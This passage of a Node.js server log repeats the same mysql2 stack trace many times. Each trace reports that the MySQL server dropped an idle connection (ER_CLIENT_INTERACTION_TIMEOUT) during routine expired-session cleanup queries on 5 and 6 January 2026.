    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 19:04:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 21:15:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 21:15:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 21:40:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 21:40:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-05 22:50:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-05 22:50:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 00:13:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 00:13:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 00:30:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 00:30:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 01:57:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 01:57:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 02:13:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 02:13:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 03:17:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 03:17:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 03:24:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 03:24:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 04:40:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 04:40:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 04:45:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 04:45:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 04:58:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 04:58:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 06:48:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 06:48:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 07:14:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 07:14:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 07:30:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 07:30:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 09:05:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 09:05:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 09:56:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 09:56:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 10:22:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 10:22:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 10:36:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-06 10:36:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-06 11:24:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
